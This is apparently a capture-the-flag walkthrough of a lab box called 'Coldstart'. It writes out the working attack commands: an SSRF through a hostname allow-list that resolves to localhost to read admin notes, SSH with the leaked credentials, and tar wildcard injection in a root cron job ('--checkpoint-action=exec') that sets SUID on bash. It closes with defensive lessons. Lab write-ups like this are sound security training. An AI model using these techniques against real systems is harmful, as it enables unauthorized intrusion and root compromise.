Operation Coldstart

Jul 10, 2026

|

5 min read

| Room ↗

Volt Labs, a small SaaS shop, thinks an old staging server has rotted into an exposed liability. The engagement is to find a way in and demonstrate full compromise.

Recon

The usual full service scan.

nmap: service & script scan
nmap -sV -sC 10.130.173.103
result (trimmed)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http Gunicorn
|_http-title: URL Preview - Volt Labs
|_http-server-header: gunicorn

Three services: anonymous FTP, SSH, and a Gunicorn-served “URL Preview” app on 80. The web app is a form that fetches and previews a URL, but any external address comes back with:

the app's refusal
Host not in the approved internal allow-list.
Volt Labs URL Preview Service
The URL Preview Service: paste a URL and it fetches it server-side

A server-side fetcher behind a host allow-list is an SSRF waiting to happen, if we can work out what the allow-list actually permits. Conveniently, the box hands us the source.

Anonymous FTP: a source-code backup

That open anonymous login is the shortcut. The pub directory holds a single archive:

grab the backup over anonymous FTP
ftp 10.130.173.103 # login: anonymous
ftp> cd pub
ftp> get backup.tar.gz
unpack it
tar -xvzf backup.tar.gz
voltlabs-preview/requirements.txt
voltlabs-preview/README.md
voltlabs-preview/app.py

The README sets the scene, and quietly names the thing we care about:

README.md
# Volt Labs URL Preview
Internal staging tool. Run with `gunicorn -b 0.0.0.0:80 app:app`.
Admin routes are gated by source-IP check (localhost only).

Reading the source: the allow-list is the bug

app.py is short, and it documents its own vulnerability. Two routes matter. First, /preview, whose only guard is a hostname allow-list:

app.py: /preview (the SSRF)
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}
@app.route("/preview")
def preview():
target = request.args.get("url", "")
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
return page("Preview Blocked", "...allow-list..."), 403
r = requests.get(target, timeout=3) # server-side fetch
...

And second, /admin/, gated only by the source IP being localhost:

app.py: /admin (localhost-only)
@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
if not request.remote_addr.startswith("127."):
abort(403)
if p == "notes":
with open("/opt/voltlabs-preview/admin_notes.txt") as f:
return "<pre>" + f.read() + "</pre>"
return "<pre>Volt Labs admin endpoint.</pre>"

NOTE

Why the allow-list defeats itself. /preview only checks that the URL’s hostname is kestrel.thm, and the comment admits kestrel.thm resolves to 127.0.0.1 via /etc/hosts. So a “permitted” fetch of http://kestrel.thm/... is really the server fetching itself over localhost. That request arrives at /admin/ with remote_addr = 127.0.0.1, which sails past the localhost-only check. The allow-list, meant to contain the fetcher, is exactly what lets it reach the internal-only admin route.

SSRF to the admin notes

So I point /preview at the box’s own localhost-gated /admin/notes through the allowed hostname:

the SSRF request
http://10.130.173.103/preview?url=http://kestrel.thm/admin/notes

The server fetches it as 127.0.0.1, the admin check passes, and it reads back admin_notes.txt:

leaked admin_notes.txt
=== INTERNAL ===
SSH access for staging:
user: webdev
pass: ████████████████
- Mara

Staging SSH credentials handed over. Thanks, Mara.

SSH as webdev

SSH foothold + user flag
❯ ssh webdev@10.130.173.103
webdev@coldstart:~$ cat user.txt
THM{████████████████████████████████}

First flag. 🚩

Toward root: a tar wildcard in a backup cron

webdev has no sudo rights and nothing useful in getcap, so the escalation is elsewhere. pspy shows a root job firing every minute, and at first glance it looks like a bare gzip:

pspy: something runs as root every minute
CMD: UID=0 PID=1527 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=1530 | /bin/sh -c gzip

Reading the cron definitions shows what’s actually scheduled:

/etc/cron.d/* (the Volt Labs entry)
# Volt Labs staging backup - runs as root
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *

Root runs tar czf ... * inside /opt/backups every minute (the gzip we saw is just tar’s compression step). Two things make it exploitable: the * wildcard, and the directory’s permissions:

/opt/backups is group-writable by webdev
webdev@coldstart:~$ ls -ld /opt/backups
drwxrwx--- 2 webdev webdev 4096 May 9 23:14 /opt/backups

NOTE

tar * is argument injection. The shell expands * to the filenames in the directory before tar ever runs, so a file literally named --checkpoint-action=exec=... is handed to tar as an option, not a file to archive. tar’s --checkpoint[=N] combined with --checkpoint-action=exec=<cmd> runs an arbitrary command at each checkpoint. I can write to /opt/backups and root runs the tar, so I just plant those “filenames” and let the cron execute my command as root. This is the GTFOBins tar wildcard trick.

So I drop a tiny payload that SUIDs bash, then create the two magic filenames that tar will read as options:

plant the wildcard-injection files
webdev@coldstart:/opt/backups$ echo 'chmod +s /bin/bash' > shell.sh
webdev@coldstart:/opt/backups$ echo '' > '--checkpoint=1'
webdev@coldstart:/opt/backups$ echo '' > '--checkpoint-action=exec=sh shell.sh'

Within the minute, root’s tar expands the wildcard, hits the injected options, and runs sh shell.sh as root, setting the SUID bit on bash. A -p shell keeps that:

SUID bash -> root + flag
webdev@coldstart:/opt/backups$ /bin/bash -p
bash-5.2# whoami
root
bash-5.2# cat /root/flag.txt
THM{████████████████████████████████}

Root, second flag, box done. 🚩

Takeaways

  • A hostname allow-list is not SSRF protection. kestrel.thm resolving to 127.0.0.1 meant “only fetch the allowed host” and “fetch localhost” were the same thing. Validate the resolved IP against a deny-list of internal ranges, not the hostname string.

  • Source-IP trust falls to SSRF. The /admin/ route trusted 127.*, which is precisely what an in-app fetcher gives you. Localhost is not an authentication boundary.

  • tar * over a writable directory is a root shell. A root cron running tar czf ... * in a group-writable /opt/backups let me inject --checkpoint-action as a filename and run commands as root. Never glob untrusted directory contents in privileged jobs; pass an explicit file list (or -- and ./), and don’t leave backup directories group-writable.

Kill Chain

Reconnaissance T1595
nmap: ftp, ssh, gunicorn app
URL previewer behind an allow-list
Initial Access T1078.001
anonymous FTP
grab backup.tar.gz, read app.py
Exploitation T1190
SSRF via allowed kestrel.thm
host resolves to 127.0.0.1, reach /admin
Credential Access T1552.001
admin_notes.txt leaks webdev SSH creds
Lateral Movement T1021.004
SSH as webdev, user flag
Privilege Escalation T1053.003 · T1548.001
group-writable /opt/backups, tar * wildcard
--checkpoint-action exec, SUID bash, root flag
web ssrf information-disclosure linux-privesc cron